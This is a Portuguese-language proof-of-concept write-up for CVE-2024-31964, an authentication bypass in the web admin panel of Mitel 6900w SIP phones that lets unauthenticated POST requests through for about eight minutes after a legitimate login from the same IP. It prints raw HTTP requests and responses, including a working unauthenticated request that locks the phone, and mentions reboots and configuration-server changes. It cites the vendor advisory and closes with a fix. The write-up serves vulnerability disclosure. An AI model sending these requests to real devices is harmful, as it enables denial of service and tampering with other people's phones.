
Exploit de prova de conceito para CVE-2024-31964, um bypass de autenticação temporário em telefones SIP da série Mitel 6900w permitindo requisições POST não autenticadas para modificar a configuração do dispositivo e realizar negação de serviço.
CVE-2024-31964 PoC: Telefone SIP Mitel Série 6900w - Bypass Temporário de Autenticação
Consiste em uma vulnerabilidade de bypass temporário de autenticação no painel do site administrativo HTTP de vários produtos Mitel.
Permite que um atacante modifique a configuração do dispositivo e realize ataques de negação de serviço contra o dispositivo afetado.
Um usuário deve ter feito login com sucesso minutos antes, e a partir do mesmo IP de origem do atacante.
CVSS Proposto:
Advertência: Mitel Product Security Advisory 24-0007
Este CVE foi encontrado durante a auditoria de 3 telefones SIP com as seguintes propriedades (este CVE foi testado com sucesso nestes 3 modelos de dispositivos):
De acordo com o aviso da Mitel, afeta mais produtos, mas não tive acesso a nenhum deles para verificar.
Geralmente, para acessar qualquer recurso do painel web de controle/gerenciamento Mitel, é necessário fazer requisições com o cabeçalho "Authorization", que estabelece as credenciais do usuário que tenta acessar.
Exemplo de requisição autenticada:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Caso este cabeçalho não seja definido, recebemos um erro "Não Autorizado" e somos solicitados a autenticar, exigindo as credenciais.
Requisição GET não autorizada:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Resposta:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
No entanto, verifica-se que todas as requisições POST da aplicação podem ser feitas sem definir o cabeçalho Authorization, ou seja, como um usuário não autenticado, desde que um usuário legítimo tenha feito login anteriormente a partir do mesmo IP de origem do atacante, e por um tempo limitado (foi medido que a janela de tempo é de aproximadamente 8 minutos). Isto é, se um usuário legítimo fizer login no site de gerenciamento do dispositivo, há uma janela de cerca de 8 minutos durante a qual um atacante com o mesmo IP do usuário logado poderia fazer requisições POST não autenticadas, sem precisar conhecer as credenciais. A vulnerabilidade é bastante restritiva devido à exigência de compartilhar o IP com um usuário legítimo, mas em casos onde um PC é compartilhado, ou computadores são acessados através do mesmo servidor proxy, as possibilidades de exploração seriam maiores.
Através de requisições POST é possível alterar senhas de usuários (requer conhecimento prévio da senha), bloquear/desbloquear o dispositivo, reiniciar o dispositivo, carregar arquivos CSV de contatos, configurar o servidor de configuração, etc.
Por exemplo, se tentarmos bloquear o dispositivo sem o cabeçalho Authorization, vemos que o dispositivo é efetivamente bloqueado, negando seu serviço ao usuário, e também podemos reiniciar o telefone, negando temporariamente o serviço por completo. Como um teste rápido, também modificamos efetivamente as teclas de discagem rápida e o servidor de configuração.
Exemplo de requisição de bloqueio de telefone não autenticada:

POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
Resposta não autenticada bem-sucedida:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
Além disso, podemos solicitar uma reinicialização do dispositivo:

E usar ping para verificar a perda temporária de conectividade:

Podemos alterar a maioria dos parâmetros... Por exemplo, o servidor FTP:

O cabeçalho Authorization deve ser sempre exigido e validado, e/ou a sessão deve ser gerenciada com cookies, não com IPs de origem.